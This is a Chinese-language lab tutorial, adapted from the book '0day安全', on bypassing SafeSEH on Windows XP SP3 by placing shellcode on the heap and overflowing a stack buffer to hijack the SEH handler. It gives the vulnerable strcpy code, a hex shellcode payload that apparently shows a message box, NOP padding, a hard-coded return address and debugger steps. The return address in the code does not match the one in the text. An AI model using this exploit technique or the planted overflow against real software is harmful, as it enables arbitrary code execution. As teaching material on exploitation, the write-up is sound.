SafeSEH Exploit——从堆中“借道”

实验内容和代码均修改自《0day安全》第二版

实验环境

操作系统： Windows XP SP3 DEP关闭
编译器： Visual Studio 2008
编译选项： 禁用优化 (/0d)
build版本： release版本

关于 SafeSEH的原理介绍详见我另一篇整理的文章
SafeSEH原理及绕过技术浅析

实验原理

在早期的SafeSEH机制中（这里使用Windows XP SP3），S.E.H 的安全校验有一个严重的缺陷——如果 S.E.H 中的异常函数指针指向堆区，即使安全校验发现了该 SEH 已经不可信，也仍然会调用这个已经被修改过的异常处理函数。实验的思路就是将shellcode布置到堆区，通过栈溢出淹没异常处理函数指针，跳转到shellcode处执行。

实验代码

1. 首先在堆中开辟空间，用以存放 shellcode 。
2. 在test函数中存在溢出，复制的字符串长度超过了缓冲区大小，进而覆盖了 SEH 信息。
3. 通过溢出，SEH 信息中的异常处理指针被覆盖为堆中 shellcode 的起始地址，最后制造了一个除零异常，劫持进程进入已经被修改的异常处理函数 shellcode 中执行。

具体代码如下：

#include <stdafx.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x64\x65\x52\x63\x68\x55\x6D\x69\x61\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA8\x29\x39\x00"//address of shellcode in heap

;


void test(char * input)
{
    
    char str[200];
    strcpy(str,input);  
    int zero=0;
    zero=1/zero;
}

void main()
{
    char * buf=(char *)malloc(500);
    //__asm int 3
    strcpy(buf,shellcode);
    test(shellcode);    
}

调试过程

调试时可以将上面的shellcode改为连续的\x90，以便观察缓冲区的内容情况。

用OD打开编译完成的文件，通过 __asm int 3 中断在 main 函数堆空间申请处；
也可以手动进入main函数，VC 编译的 PE 在 main函数调用之前一般都会有三个 MOV 指令和三个
PUSH 指令（env, argv, argc），并且main函数的地址较为规整，如下图：

（注：OD 直接打开和调试attach得到的地址有可能会不同，OD直接打开会以调试状态执行，最后的 shellcode 执行情况只能在 OD 调试中才能观察到）

F4执行到此处，F7 跟进。继续单步执行，可以看到malloc函数被调用，开辟了 0x1F4 （500）大小的堆空间，此时 EAX 保存着该堆空间的首地址，可以看到是0x003929F8 。

之后该空间被shellcode覆盖，并调用test函数。接下来我们需要确定填充字节的个数来湮没异常处理函数的地址。进一步跟进，停在test函数strcpy执行完毕处。
观察栈，可看到栈中被溢出的字串起始位置为0x12FE8C。

同时查看SEH Chain，得到要被淹没的异常处理函数指针位于0x0012FFB0+4 的位置

经过简单的计算后，构造出shellcode总长度为300字节（168字节的shellcode机器码，129个\x90填充，最后4个字节为覆盖异常处理函数指针的shellcode首地址）。

最后在堆中 shellcode 起始地址处 0x003929F8 设置断点，F9运行程序，如果用的是2.10或其他高版本OD，异常出现时会发生中断，Shitf+F9继续执行即可。

最后程序流程在shellcode处停下,继续执行即可看到弹出对话框：